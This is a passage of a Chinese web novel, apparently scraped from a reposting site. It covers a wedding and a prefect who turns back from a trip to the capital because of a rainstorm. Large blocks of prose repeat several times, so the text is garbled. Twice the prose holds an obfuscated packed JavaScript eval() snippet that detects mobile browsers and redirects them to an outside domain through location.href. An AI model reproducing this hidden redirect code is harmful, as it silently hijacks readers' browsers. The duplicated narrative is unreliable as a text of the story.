唐妗霜郑重的收下,“多谢老夫人惦记我。”他只有一个妹妹,能在妹夫家出嫁,一半是因为妹妹心疼他,还有一半却是张家看在孟晚和他背后宋知府的面子上。 荷娘和懂哥儿他们各个都给唐妗霜添了妆,比起余家的钱势虽然九牛一毛,然而却带着这群可怜人对同伴的一份珍贵心意。 唐妗霜和荷娘是他们一群人里,心肠被磨炼的最坚硬的人,饶是如此,也不免抱着他们大哭了一场。 孟晚安慰他们,“妗霜成了亲后还是在珍罐坊做活,你们想他了就来西梧府看他就是,不必伤心,以后大家都会 越过越好。” 当初懂哥儿成婚,孟晚除了给他添了笔压箱底的嫁妆外,还将藕坊的分成分给了他一份。 不光是他,那次孟晚前去为了省事,直接把藕坊的分成给大家平分了。不过荷娘和懂哥儿各比其他人多了一成,她们两人一个刚直果决,一个心思细腻,撑得住藕坊的门面。便是往后孟晚不在,也能将藕坊经营好。 如此一来赫山县的整座藕坊,就算是孟晚给他们留下安身立命的地方了。 第二日唐妗霜出嫁,院里多了整整二十抬嫁妆,唐妗柔坐在哥哥旁边小声说:“是孟夫郎给你添的妆,这个是嫁妆单子你拿着,都是好东西。” 虽然早就知道孟晚会给自己添妆,可拿到嫁妆单子的时候,唐妗霜还是吃了一惊。 他这些年在珍罐坊赚的不少,中规中矩的给自己准备了十八抬嫁妆,大多是衣物和家具。妹妹给他添了八抬,但张家不算是什么富裕人家,也都是布匹和被褥等。 孟晚给唐妗霜添的嫁妆就全多了,壵锦、珠宝首饰、古玩字画,五花八门准备的又全又精细。 西梧府到底比不得禹国那些中上等府城,余家虽然累积了几代的财富,但比起如今的孟晚还真说不好哪个更富。 孟晚现在是不差钱的,但为了顾及张家的脸面也不能给唐妗霜添的太多。二十台不多也不少,符合他知府夫郎的身份给手下管事添妆,也不会多到让张家下不来脸面。 张家这边中午要待客,孟晚和荷娘等人算唐妗霜这边的亲朋,要留在张家这边吃席面。 黄昏前和送亲的队伍一起去余家,再留在余家简单用一顿饭,与送亲队伍一起回女方家来,不参与后续的昏礼。 孟晚还是头次给人送亲,他身份不一般,旁人多是客客气气的。 迎亲的队伍来临前,孟晚递给唐妗霜一个妆匣子,“拿着一会押妆用,珍罐坊的我给你一成的分成,往后你也是珍罐坊的东家。” 唐妗霜往后退了一步,“东家,您已祝我良多,这……我不能要。” “给你的就收着,珍罐坊如今都是你在忙活,这是你该得的。”孟晚想得更长远些,年底宋亭舟又要进京朝觐,明年他们还在不在西梧府尚未可知,珍罐坊做为他最重要的资产,必须交给值得信任的人。 人心易变,利益熏人,把唐妗霜从一个打工人变成老板,他内心便 会不自觉的转变,如此才不怕他不用心。 总之目前看来唐妗霜是个不错的,真要是忘恩负义欺骗他的概率也少之又少。 孟晚看着小余一脸喜气洋洋的来结亲,其实内心也很感慨,唐妗霜走到今天实属不易,但愿他往后一切顺遂,再无坎坷。 送完亲后孟晚没有多留,婉拒了老余让他留下来吃席面,出门去找宋亭舟。 他就在余家外面的街道上等着孟晚,难得清闲一天,夫夫俩在街上绕了一圈才回家,让家里的厨娘随意煮了些面条。等他们都洗漱好了后,常金花才带着三个去余家吃席的孩子回来。 “阿爹!”阿砚跑过来抱住孟晚。 楚辞带两个弟弟过来见孟晚,对孟晚和宋亭舟比了一下,“他们都很乖。” 孟晚拍拍他的肩膀,“你也很乖,一会儿回去早点睡。” “我想在阿爹这里睡。”阿砚不乐意走,他就像一个粘人怪,还屡战屡败。 宋亭舟提着他往外走,“跟你通儿弟弟一起回去睡,快点。” 阿砚瘪着嘴巴要哭,见宋亭舟一脸无情的样子又把眼泪憋了回去,小声嘀咕,“不睡就不睡,弟弟,我们走!” 楚辞恭敬地对宋亭舟行礼,而后又领着两个弟弟离开。 孟晚看着他楚辞挺括的背影,“小辞明年就十八了,过几日你进京的话,把他也带上吧,可以让他见见他阿爹以前的家乡。” “我后天就要启程,时间匆忙,便回来的时候再带他去吧。”宋亭舟这人天生稳重,但来岭南后两次朝觐几乎都是踩着点去盛京的,可见他有多不想去盛京。 孟晚已经把他的行李准备的七七八八了,能带就带,不方便带的就买,他们已经不差钱了,“好在驿站的路已经修到赣州府,从赣州府走水路到杭州,之后再上京,这样还能快上一些。” “嗯。”宋亭舟情绪不高。 孟晚拉他回房休息,“地方有地方的不便之处,盛京有盛京的繁扰和险诈,不论如何咱们一家人在一起就好,莫要忧虑。” 宋亭舟抚了抚他的脸颊,轻声说道:“我懂。” 楚辞跟着宋亭舟上京,阿砚可能是大了,比小时候还要不舍,还偷偷的抹眼泪,幸好家里还有通儿陪着他。 宋亭舟这次走带的人不少,蚩羽被他留在家里,雪生、那拓和 陶家三兄弟陪他上京。 他走后孟晚也有些不适,还跑到常金花院里睡了两日。 唐妗霜婚后回门先去了妹妹家,第二天又到宋家给常金花磕了头。 家里男主人不在,余彦东便没陪唐妗霜来宋家,常金花扶起唐妗霜,“我听说余家人口多,几代住在一起,你嫁过去可还适应?” 孟晚在旁听着不以为意,唐妗霜要钱有钱,要才有才,余家人除非是瞎了傻了才找他的不痛快。 “还好,夫君在家极受宠爱,家里祖母和母亲都宠溺他。”唐妗霜无奈的说。 “那就好,他受宠,你就不会吃亏。”常金花其实并不懂高门大户里头的弯弯绕绕,她还是按照老一辈村里的思想去看的。就比方说她们曾经的邻居田家,老二比老大滑头会说话,家里的大人就更喜欢老二和小梅。 唐妗霜附和的笑笑,笑容却带着些疲惫。孟晚察觉不对,将他叫到自己院里。 “怎么回事?余家人给你气受?”唐妗霜能力出众,人也不像董懂那样软弱好拿捏,难不成还真叫余家人给欺负了? 见孟晚面色不善,唐妗霜忙解释道:“夫郎放心,余家并没有人给我气受。只是祖母有些不喜欢我,但有夫君在,却也没有苛刻与我。只是我婆母,是个说话绵里藏针的,我和彦东刚成婚几日,她就明里暗里提醒我说彦东有个表妹,从小养在余家……” 小哥儿子嗣艰难,余夫人这是怕唐妗霜生不出孩子来,着急给儿子塞小妾了? 孟晚眉头一皱,“余彦东什么态度。”他连小余都不叫了,比起余家,还是唐妗霜与他更亲近,是他手下得力干将。 唐妗霜眼神柔和,“夫君是不肯的,说这两天就给他表妹找个好人家。” 而且余彦东还不只是嘴上说说,他娘给他们两口子提了余家表妹的事后,这小子怕他娘为难自己夫郎,当时不答应也不拒绝。结果第三天回门的时候就托张推官从府学找个品行良好的读书人,叮嘱若是相中他们家的条件就快点上门提亲,也不用家里长辈点头,他劝着他爹答应就成。 张推官是个实在人,应了连襟的话便用上心,还真的在给余家表妹认真物色。 既然不是余彦东让唐妗霜受委屈,那唐妗霜便是为了婆媳关系,或是自己身体能不能生育而担忧。 前者要靠唐妗霜自行解决,后者孟晚倒是还能 帮他想想法子,“一会儿我叫家里下人去余家禀告一声,就说今日雨大,你被我留在宋家休息。晚些时候让阿寻过来给你看看,他在哥儿女娘这方面看得比青杏还好。总之你记住一点,你是他余彦东死皮赖脸求娶回去的,如今还是珍罐坊的二东家,不必将姿态放得太低。” 唐妗霜眼眶微红,他连出嫁那天都没哭,这会儿却险些掉泪。他明白孟晚是在给他撑腰,要震一震余家的女眷。 晚上阿寻被叫来宋家,他也不是外人,和大家一起用了晚膳,夜里在孟晚院子里宿下,给唐妗霜搭脉看病。 “确实有些早年亏损,但是无碍,便是不用药过几年也能养过来,与子嗣并无大碍。”阿寻只比楚辞小一岁,今年也十六了,从以前的话痨小孩,成长到如今能独当一面的郎中,甚至在西梧府还颇具盛名。 唐妗霜眼中满是惊喜,他对余彦东总是觉得有些亏欠的,若是孩子也不能给对方生一个,恐怕会心生抑郁。 “那就给妗霜开张滋补的方子吧。”孟晚说出唐妗霜心中所想。 阿寻把自己看诊的药箱收拾好,对孟晚说:“好,那我就借您书桌一用。” 孟晚调侃道:“呦,阿寻长大了,也学会大人客气了。” 阿寻坐在椅子上坐立不安,“夫郎!” “好了好了,快写吧。”孟晚叫黄叶把他院里的厢房收拾出来,给唐妗霜和阿寻住。 他说的也不算是假话,今天的雨下得确实不小,雷声惊人,哪怕苗家离宋家不远,他也不敢放阿寻回去。 后半夜的时候,孟晚被一声响彻天地的雷声惊醒,几道闪电划破黑暗,将屋子里照的通明,下一瞬间便是一连串的惊雷乍响。 那雷声来得又快又猛,如千军万马踏过云层,轰隆隆地从东边滚到西边,伴着瓢泼的大雨,又像是一条在云层中肆意翻滚的怒龙,把整个晦暗的天空都裹进了它的咆哮里。 雷声霹雳,雨水磅礴,风势骤起,门窗都被灌得“咣咣”作响。 孟晚从床上坐起,心口突突地跳个不停,他带着说不清道不明的感觉,披着薄棉衣下床站到窗边,将手按在窗户上。他家窗户是用宣纸糊的,质地绵韧,洁白又细腻,透光性柔和且还耐用,一年换上一次都不旧。 可如今细看,窗棂上竟然有几块格栅被风生生给刮破了。 孟晚眉间越皱越紧,他转而走到房门处,刚拔出门栓,面前的两扇房门便被大风吹开,“砰砰”两声,巨响在走廊下响起。 “夫郎,怎么了?”黄叶屋子里的灯亮了起来,声音隔着风雨传到孟晚耳朵里的时候有些失真。 孟晚仰头看着倾泻而下的暴雨,喊了句,“没事,被雨声吵醒了,你睡吧,不必过来。” 帮他想想法子,“一会儿我叫家里下人去余家禀告一声,就说今日雨大,你被我留在宋家休息。晚些时候让阿寻过来给你看看,他在哥儿女娘这方面看得比青杏还好。总之你记住一点,你是他余彦东死皮赖脸求娶回去的,如今还是珍罐坊的二东家,不必将姿态放得太低。” 唐妗霜眼眶微红,他连出嫁那天都没哭,这会儿却险些掉泪。他明白孟晚是在给他撑腰,要震一震余家的女眷。 晚上阿寻被叫来宋家,他也不是外人,和大家一起用了晚膳,夜里在孟晚院子里宿下,给唐妗霜搭脉看病。 “确实有些早年亏损,但是无碍,便是不用药过几年也能养过来,与子嗣并无大碍。”阿寻只比楚辞小一岁,今年也十六了,从以前的话痨小孩,成长到如今能独当一面的郎中,甚至在西梧府还颇具盛名。 唐妗霜眼中满是惊喜,他对余彦东总是觉得有些亏欠的,若是孩子也不能给对方生一个,恐怕会心生抑郁。 “那就给妗霜开张滋补的方子吧。”孟晚说出唐妗霜心中所想。 阿寻把自己看诊的药箱收拾好,对孟晚说:“好,那我就借您书桌一用。” 孟晚调侃道:“呦,阿寻长大了,也学会大人客气了。” 阿寻坐在椅子上坐立不安,“夫郎!” “好了好了,快写吧。”孟晚叫黄叶把他院里的厢房收拾出来,给唐妗霜和阿寻住。 他说的也不算是假话,今天的雨下得确实不小,雷声惊人,哪怕苗家离宋家不远,他也不敢放阿寻回去。 后半夜的时候,孟晚被一声响彻天地的雷声惊醒,几道闪电划破黑暗,将屋子里照的通明,下一瞬间便是一连串的惊雷乍响。 那雷声来得又快又猛,如千军万马踏过云层,轰隆隆地从东边滚到西边,伴着瓢泼的大雨,又像是一条在云层中肆意翻滚的怒龙,把整个晦暗的天空都裹进了它的咆哮里。 雷声霹雳,雨水磅礴,风势骤起,门窗都被灌得“咣咣”作响。 孟晚从床上坐起,心口突突地跳个不停,他带着说不清道不明的感觉,披着薄棉衣下床站到窗边,将手按在窗户上。他家窗户是用宣纸糊的,质地绵韧,洁白又细腻,透光性柔和且还耐用,一年换上一次都不旧。 可如今细看,窗棂上竟然有几块格栅被风生生给刮破了。 孟晚眉间越皱越紧,他转而走到房门处,刚拔出门栓,面前的两扇房门便被大风吹开,“砰砰”两声,巨响在走廊下响起。 “夫郎,怎么了?”黄叶屋子里的灯亮了起来,声音隔着风雨传到孟晚耳朵里的时候有些失真。 孟晚仰头看着倾泻而下的暴雨,喊了句,“没事,被雨声吵醒了,你睡吧,不必过来。” 帮他想想法子,“一会儿我叫家里下人去余家禀告一声,就说今日雨大,你被我留在宋家休息。晚些时候让阿寻过来给你看看,他在哥儿女娘这方面看得比青杏还好。总之你记住一点,你是他余彦东死皮赖脸求娶回去的,如今还是珍罐坊的二东家,不必将姿态放得太低。” 唐妗霜眼眶微红,他连出嫁那天都没哭,这会儿却险些掉泪。他明白孟晚是在给他撑腰,要震一震余家的女眷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095677|178259||http|test|mini|href|location''.split(''|''),0,{})); () { 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唐妗霜眼眶微红,他连出嫁那天都没哭,这会儿却险些掉泪。他明白孟晚是在给他撑腰,要震一震余家的女眷。 晚上阿寻被叫来宋家,他也不是外人,和大家一起用了晚膳,夜里在孟晚院子里宿下,给唐妗霜搭脉看病。 “确实有些早年亏损,但是无碍,便是不用药过几年也能养过来,与子嗣并无大碍。”阿寻只比楚辞小一岁,今年也十六了,从以前的话痨小孩,成长到如今能独当一面的郎中,甚至在西梧府还颇具盛名。 唐妗霜眼中满是惊喜,他对余彦东总是觉得有些亏欠的,若是孩子也不能给对方生一个,恐怕会心生抑郁。 “那就给妗霜开张滋补的方子吧。”孟晚说出唐妗霜心中所想。 阿寻把自己看诊的药箱收拾好,对孟晚说:“好,那我就借您书桌一用。” 孟晚调侃道:“呦,阿寻长大了,也学会大人客气了。” 阿寻坐在椅子上坐立不安,“夫郎!” “好了好了,快写吧。”孟晚叫黄叶把他院里的厢房收拾出来,给唐妗霜和阿寻住。 他说的也不算是假话,今天的雨下得确实不小,雷声惊人,哪怕苗家离宋家不远,他也不敢放阿寻回去。 后半夜的时候,孟晚被一声响彻天地的雷声惊醒,几道闪电划破黑暗,将屋子里照的通明,下一瞬间便是一连串的惊雷乍响。 那雷声来得又快又猛,如千军万马踏过云层,轰隆隆地从东边滚到西边,伴着瓢泼的大雨,又像是一条在云层中肆意翻滚的怒龙,把整个晦暗的天空都裹进了它的咆哮里。 雷声霹雳,雨水磅礴,风势骤起,门窗都被灌得“咣咣”作响。 孟晚从床上坐起,心口突突地跳个不停,他带着说不清道不明的感觉,披着薄棉衣下床站到窗边,将手按在窗户上。他家窗户是用宣纸糊的,质地绵韧,洁白又细腻,透光性柔和且还耐用,一年换上一次都不旧。 可如今细看,窗棂上竟然有几块格栅被风生生给刮破了。 孟晚眉间越皱越紧,他转而走到房门处,刚拔出门栓,面前的两扇房门便被大风吹开,“砰砰”两声,巨响在走廊下响起。 “夫郎,怎么了?”黄叶屋子里的灯亮了起来,声音隔着风雨传到孟晚耳朵里的时候有些失真。 孟晚仰头看着倾泻而下的暴雨,喊了句,“没事,被雨声吵醒了,你睡吧,不必过来。” 帮他想想法子,“一会儿我叫家里下人去余家禀告一声,就说今日雨大,你被我留在宋家休息。晚些时候让阿寻过来给你看看,他在哥儿女娘这方面看得比青杏还好。总之你记住一点,你是他余彦东死皮赖脸求娶回去的,如今还是珍罐坊的二东家,不必将姿态放得太低。” 唐妗霜眼眶微红,他连出嫁那天都没哭,这会儿却险些掉泪。他明白孟晚是在给他撑腰,要震一震余家的女眷。 晚上阿寻被叫来宋家,他也不是外人,和大家一起用了晚膳,夜里在孟晚院子里宿下,给唐妗霜搭脉看病。 “确实有些早年亏损,但是无碍,便是不用药过几年也能养过来,与子嗣并无大碍。”阿寻只比楚辞小一岁,今年也十六了,从以前的话痨小孩,成长到如今能独当一面的郎中,甚至在西梧府还颇具盛名。 唐妗霜眼中满是惊喜,他对余彦东总是觉得有些亏欠的,若是孩子也不能给对方生一个,恐怕会心生抑郁。 “那就给妗霜开张滋补的方子吧。”孟晚说出唐妗霜心中所想。 阿寻把自己看诊的药箱收拾好,对孟晚说:“好,那我就借您书桌一用。” 孟晚调侃道:“呦,阿寻长大了,也学会大人客气了。” 阿寻坐在椅子上坐立不安,“夫郎!” “好了好了,快写吧。”孟晚叫黄叶把他院里的厢房收拾出来,给唐妗霜和阿寻住。 他说的也不算是假话,今天的雨下得确实不小,雷声惊人,哪怕苗家离宋家不远,他也不敢放阿寻回去。 后半夜的时候,孟晚被一声响彻天地的雷声惊醒,几道闪电划破黑暗,将屋子里照的通明,下一瞬间便是一连串的惊雷乍响。 那雷声来得又快又猛,如千军万马踏过云层,轰隆隆地从东边滚到西边,伴着瓢泼的大雨,又像是一条在云层中肆意翻滚的怒龙,把整个晦暗的天空都裹进了它的咆哮里。 雷声霹雳,雨水磅礴,风势骤起,门窗都被灌得“咣咣”作响。 孟晚从床上坐起,心口突突地跳个不停,他带着说不清道不明的感觉,披着薄棉衣下床站到窗边,将手按在窗户上。他家窗户是用宣纸糊的,质地绵韧,洁白又细腻,透光性柔和且还耐用,一年换上一次都不旧。 可如今细看,窗棂上竟然有几块格栅被风生生给刮破了。 孟晚眉间越皱越紧,他转而走到房门处,刚拔出门栓,面前的两扇房门便被大风吹开,“砰砰”两声,巨响在走廊下响起。 “夫郎,怎么了?”黄叶屋子里的灯亮了起来,声音隔着风雨传到孟晚耳朵里的时候有些失真。 孟晚仰头看着倾泻而下的暴雨,喊了句,“没事,被雨声吵醒了,你睡吧,不必过来。” 第63章 乞丐 西梧府暴雨的时候宋亭舟还没走出岭南地界他带着众多手下刚与承宣布政使等人汇合。 陶八抬头看了眼乌云密布的天空“大人我们该找个地方安顿下来天色仿佛不是太好。” 岭南多雨大家已经很习惯气候无常了并无意外之色。一群岭南最高级的官员们终于在大雨来临前找到个小镇意外的是镇上的客栈生意竟然还不错。 “咱们这是新开的客栈这两年往这头跑商的多镇上一家客栈接待不过来镇上便新开了两家。”掌柜的笑呵呵的说。 生意兴隆谁不高兴? 他们一行人人数太多镇上的三个个客栈都没有空余出太多房间只能将部分下属安排到客栈里承宣布政使带几个下属住到驿站去。 “景行啊你不和我们同去驿站?”承宣布政使对宋亭舟印象极好当然也有可能是看出宋亭舟的本事和潜力想提前打好关系。 不论是哪种这位布政使同宋亭舟相处的时候都很客气。 宋亭舟并未因为政绩良好而在上司面前恃才傲物 承宣布政使恍然大悟“是那个石见驿站吧?本官也曾听过既如此你便过去明早再启程同行。” 朝觐按理说是要地方上正职官员即布政司、按察司、知府、知州、知县每三年赴京汇报政绩、接受考核。 至于副职官员如同知、通判、县丞等他们都无需参加。地方上的武官也不参与文官的朝觐制度。 但岭南情况特殊之前一群老年知县就算了朝觐一次能要了老命身体也不允许。再就是岭南地方偏远政绩不佳有时候六年一次九年一次都不必赴京参加朝觐毕竟也没有什么可汇报给朝廷的。 直到宋亭舟任了知县才改变了这一现状六年两次朝觐承宣布政司都接到了礼部派发的公文。 可岭南的知府们也不是谁都要去的比如出了名的钦州和雷州府两地知府便被承宣布政使勒令不许离开任地。 这些便不是宋亭舟能操心的了他本来就不想去又赶上天气不好心情更是不佳一张冷酷的俊脸上都似附上了一层冰霜。 石见驿站建在镇子中心孟晚的意思是 若是县城府城之类驿站建在离城门近的地方比较方便运输货物。而然小镇子本就容易被**光顾还是在城镇中心更加安全。 “大人我去敲门。”那拓身高腿长和宋亭舟汇报了一声就下马叫门。毕竟他是孟晚的人常年在外运货石见驿站的工人很多都是流动状态很多都见过那拓。 有那拓开路一行人顺利进入驿站。石见驿站虽然不像朝廷开的官方驿站一样专门传递信件与公文还能接待朝廷命官但也有孟晚自留待客的住处。 宋亭舟带着手底下三位知县和几个手下简单住下几乎在刚放下行李的瞬间外面本来淅淅沥沥的小雨便转变成瓢泼大雨。 雪生提了一桶温水回来给宋亭舟到屋子里之后里头起码掺了半桶的雨水。 雨越下越大天边又雷声滚滚与宋亭舟同屋的那拓用瑶语说了句“明早千万不能下了不然船都坐不上。” 宋亭舟洗漱后正坐在桌边写信闻言将视线移向窗户。 木制的窗框被风吹的当当作响如果不是因为石见驿站是新建的宋亭舟都怀疑它会被吹倒。 将手中的信纸妥善装入信封中让雪生送到驿站管事手里明日随着货物一同送往西梧府方向。 屋子只摆了一盆炭火湿冷的风仿佛无处不在最令人烦心的还是外面不见停歇的暴雨。 这场雨实在太大了从入夜就没断过从深沉的夜晚到第二天清晨雨声依旧执拗地敲打着窗沿像是要把这漫长的夜无限拉长。 “大人布政使大人派人过来说是要冒雨上路不然之后再下雨路上更不好走。”陶十一穿了身蓑衣从前院跑过来浑身上下被浇了个全湿靴子里灌得全是雨水。 宋亭舟抬眼看着天上灰暗无光的天色应了一句“嗯那就听从布政使大人的安排吧。” 陶十一他们让驿站的人帮忙在外面铺子买了几布袋的烧饼他们的行李中还有藕粉和罐头稍作休整一群人又匆忙上路。 但之后路上行进缓慢不说雨势也丝毫不减 宋亭舟坐在马车内车厢里还有他辖内赫山县的王知县、沙坑县胡逖获罪后的魏知县、黑叶县李绥安致仕后替补他的冯知县。 除了还在德庆县苟着的费敬剩下三县都被 宋亭舟亲自撸了个遍,他在官场的活阎王名声太盛,导致三县知县上任以来都战战兢兢,生怕哪里做的不好被上司责骂。 这会儿因为雨水接连不停,许多行李都塞到马车里,三人便同宋亭舟挤在一辆车上。 走了五六天,这位上司与他们说话的次数一只手都数的过来,冷若冰霜的脸上连一丝笑意都没有,镇得他们也不敢随意聊天。 “冯知县。 冯知县半睡半醒被旁边的王知县捅了一下,磕磕绊绊的说:“下……下官在。 宋亭舟沉声道:“黑叶县的水利可有重新用灰石粉加固? 冯知县哪怕脑子还不清醒,却还是下意识回了宋亭舟一句,“禀大人,下官上任之后便谨遵大人吩咐,这些年黑叶县大大小小的堤坝都以用灰石粉重新加固过了,靠近村庄的河流也都挖了沟渠分流。 冯知县能力或许一般,没有什么太大的主见,但唯一的好处就是听话,但凡是宋亭舟吩咐的,无一不立马照做。 听到他的回答,宋亭舟还算满意,又问起沙坑县的魏知县,“沙坑县的堤坝如何? 魏知县最是知道自己上一任胡知县是怎么获罪的,那时候宋亭舟还没当上知府呢! 于是也恭恭敬敬的答曰:“还请大人放心,沙坑县的堤坝具已加固完毕。矿坑处下官也严加交代过,不可因为那些罪臣的身份,而视恶劣气候于不顾,若遇险情,当先**将人转移至山下。 “不错。宋亭舟的脸色缓和下来不少。 赫山县就不用问了,早在他从赫山上任时便年年加固堤坝,河流分支,深挖沟渠。而且王知县是四县知县中能力相对最好的,无需德庆县那般让宋亭舟事事操心,不出意外的话这次朝觐王知县会升上一升。 德庆县的费敬为人蠢笨,三句话只能听进去一句,小错不断大错没有,晋升困难,下贬又不到那个份上,是最令宋亭舟头疼的。 德庆县的堤坝宋亭舟根本信不过他,所以是自己亲自去德庆盯着修整的。 明明将辖内置地都安排稳妥,可他内心还是不算安宁。 外面赶车的陶十一顶不住,让陶八上来替他驾车,停车的这会儿空荡,宋亭舟从车厢里取出一根白蜡用火折子点燃,放在车厢中间的位置,下面垫了个小木箱子。 暗黄色的烛火照应 他半边线条优越的侧脸橘色本是暖色可染上在宋亭舟的脸上却变成另一种无声无形的压迫感。 他眉头微微蹙着始终没有舒展开来明眼人都能看出来他心有忧虑。 入夜之后众人找了处避风的地方休整不出意外的话大家要在马车里夜宿一晚了。 陶十一抱了几瓶罐头和烧饼送进车厢里雨水太大生不起火只能吃些冷食“大人咱们明后几天就能走到赣州府境内了。” “嗯。”宋亭舟拿了个干巴巴的烧饼啃出门在外他是吃不饱饭的每次出门都要瘦上两圈。 陶十一比几个哥哥爱说爱笑又絮絮叨叨地说道:“等到了赣州就能坐船了越往北走雨好像越小了也不知道赣州什么情况船好不好行驶……欸?大人您这是去做什么?下车小解吗?” 宋亭舟撑了伞下车直奔前面车厢他像是深思熟虑良久语气平淡的隔着车窗对里面的人说:“布政使大人下官想返程。” “什么?” —— 齐盛三十一年冬暴雨接连下了半个多月停了两日后仍是阴雨不断飓风不止。 驿站早就被孟晚停了后续没有果子运到珍罐坊坊里的工人也都被孟晚放了假。 一半人很开心今年赚够了钱就当提前放年假。一半人舍不得感觉时间空出来可惜在工坊上工还有工钱回家就是洗衣服做饭当老妈子。 唐妗霜是最后一个离开珍罐坊的他要保证工坊里除了无儿无女自愿留下来值勤几个人外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余彦东振振有词,“孟夫郎给我们驿站掌柜培训的时候说了,看到可怜人时,先想想自己比人家强多少。觉得自己比人家强了,真正善心发作,帮也无妨。但万万不可轻易收留旁人……” 他巴拉巴拉的说了一堆,都是孟晚怕驿站树大招风,有人恶意碰瓷,所预想到的所有危险性。 唐妗霜本来还怕余彦东嫌自己不够温柔体贴,这下好了,这小子的防备心竟然比他还重! 他默默托起自己的下巴,将张开的口闭合上,听余彦东的最后总结。 对方义正言辞的说:“你要是可怜他们咱们就买些馒头让成望送过去,但你千万不能轻易露面,要是叫他们盯上,嫉妒你有这么好的家世和如此英俊的夫君,故意缠上你怎么办!” 唐妗霜嘴角抽搐,不知该哭还是该笑,**自己的温柔还能在余彦东面前忍多久,总感觉现在就忍不住想捶他一拳。 两口子到宋家对孟晚汇报后,唐妗霜偷偷把这件小插曲和孟晚说了。 孟晚瞥见他嘴角带着甜意的笑,明白他没真的动怒,想必是夫夫俩的情趣。 但唐妗霜所说乞丐一事倒是使他心中惴惴,唐妗霜和余彦东走后,孟晚撑着伞带蚩羽出门,两人直奔府衙。 宋亭舟不在,府衙就是同知和通判当家,年底更是忙到飞起。但知府夫郎登门,众人还是客客气气地接待。 “我无意打扰诸位大人办公,只是今年雨势过大,担心府内各处堤坝与河流。” 杜同知家和宋家走的近,他夫郎和孟晚关系也不错,杜同知笑着说:“夫郎尽管放心,西梧府辖内的各处堤坝,每年大人都要派人巡视,今年六月刚检验过一次,便是今年雨水多,也绝无问题。” 孟晚心里稍微踏实一些,他也知道自己这样找到衙门问话,府衙中定然又有老古董背后要讥讽几句,不过他不在意。 “今年的气象着实不佳,还劳诸位大人多多费心,驿站现在虽然不运货了,但各县之间传递信件还是很快的。” 没人敢说自己不用石见驿站传信,石见驿站的速度比自己派人送信还快,人家那是日夜兼程,保质保量。不同于到西梧府来什么有用信息都没摸到的罗霁宁,他们可是知道驿站建立之初,孟晚是怎么大刀阔斧,四县齐修的。 大家相互看看,全都默默的低头拱手,“孟夫郎客气,此乃下官之责。” 第64章 灾民 孟晚从府衙回家后,就立即写信给四县的书院,告知学院今年早些放假,并让夫子们叮嘱学生们在家时警惕天灾,不要轻易外出。 最近雨势小了些,西梧府境内并没有哪里传来什么灾情,宋亭舟保平安的书信也传了几封。仿佛一切并无不妥,可孟晚心里就是空落落的。 夜里躺在床上,帷帐被他挂起一半,目光落在前些日子新换的窗纸上,手里握着宋亭舟送他的双鱼玉佩,有一搭没一搭的摩挲着。 就这样也不知道过了多久,他眼皮慢慢合上,只是浑身上下的紧绷感丝毫没有放松,仿佛连梦中都在不安。 直到一双微凉的双手轻点在他脸上,孟晚好像受了惊一样猛地睁开双眼,“谁! “是我回来了晚儿。宋亭舟点了支蜡烛放到床边的边几上,烛光正好照映到他劲瘦的腰身,和在黑暗中若隐若现的脸庞。 孟晚大为震惊,下一秒便从被窝里坐起来,冷的他打了个哆嗦。但本该前往盛京城途中的宋亭舟,竟然真的坐在他床边。 孟晚捏了把他消瘦的脸颊,“怎么回事?你怎么就这么回来了?是朝廷下了什么政令吗?还是途中生病了?出去还不到一个月怎么就瘦了这么多? 他问了一连串的问题,宋亭舟一样一样的答他,“岭南的雨势太大,前几年从未有过,我担心会有什么变故,所以同布政使大人请示一番就回来了。 宋亭舟拉着孟晚的手,“别担心,没有生病,这才上路都是阴雨连天,饭食不好准备,我用的都少了些。 孟晚松了口气,看他穿着亵衣亵裤的模样又问:“热水澡洗了没?我叫桂诚去厨房提水过来。 宋亭舟拦住他的动作,“在书房洗好了过来的,别折腾了,快睡吧。 “那你快上来睡觉,地上冷得要命。孟晚往床里面挪,给宋亭舟空出大片位置。 宋亭舟钻进被子,动作熟练的把自己夫郎搂进怀里。孟晚在他脖颈处蹭蹭,满足的喟叹了一声,揪起的心缓缓抚平,仿佛再多忧愁都消散了。 宋亭舟本来还想再和他说两句话,但垂眸一看,怀里的人呼吸匀称,显然已经陷入熟睡。 将唇轻轻在孟晚脸颊上贴了一下,宋亭舟也缓缓阖上双目。 第二天一早,家里人看到雪生,就都知道了宋亭舟回来的消息。孟晚还有种不真实的 惊喜感,但之后便是浓郁的担忧。 虽然地方上有重大灾情的官员,可以免于朝觐,可西梧府目前并未有何不妥,宋亭舟就这样回来没准会受到朝廷的责备,严重甚至会降职。 “真的没事吗? 宋亭舟在路上就已经思量好了,“我在路上就已经写好递交给朝廷的陈情书,一份托承宣布政使带去盛京,递交给礼部。一份从驿站寄给师兄,让他如果看承宣布政使没有递交,就由他帮我送出去。 承宣布政使毕竟是他顶头上司,由他递上去正好,便是出了什么意外,还有林苁蓉这个后手在。 常金花不懂官场上的事,听宋亭舟解释完觉得也没什么大事,但心疼他一路艰难,今天便没去铺子里,亲自跑到菜市口买菜,说要晚上给宋亭舟补补。 宋亭舟拦住她,“娘,不必了,午后我准备带人去德庆县一趟。 “你昨晚才回来,午后就又走了?常金花说着,还是提着篮子准备出去,“那我先去就出去买菜,你在家吃了午饭再再走。 孟晚跟上去,“娘,我也陪你一起去。 宋亭舟去府衙安排了一下,除了让通判留在衙门里坐镇外,杜同知、张推官、单教授、乔经历等都派了出去。让他们各自领人在四县巡视,勘察西梧府范围内所有水利,拆毁无人居住的民宅,提醒百姓加固房屋。 晌午常金花和孟晚张罗了一大桌子的菜,吃饭的时候孟晚把城外出现乞丐的事和宋亭舟说了。 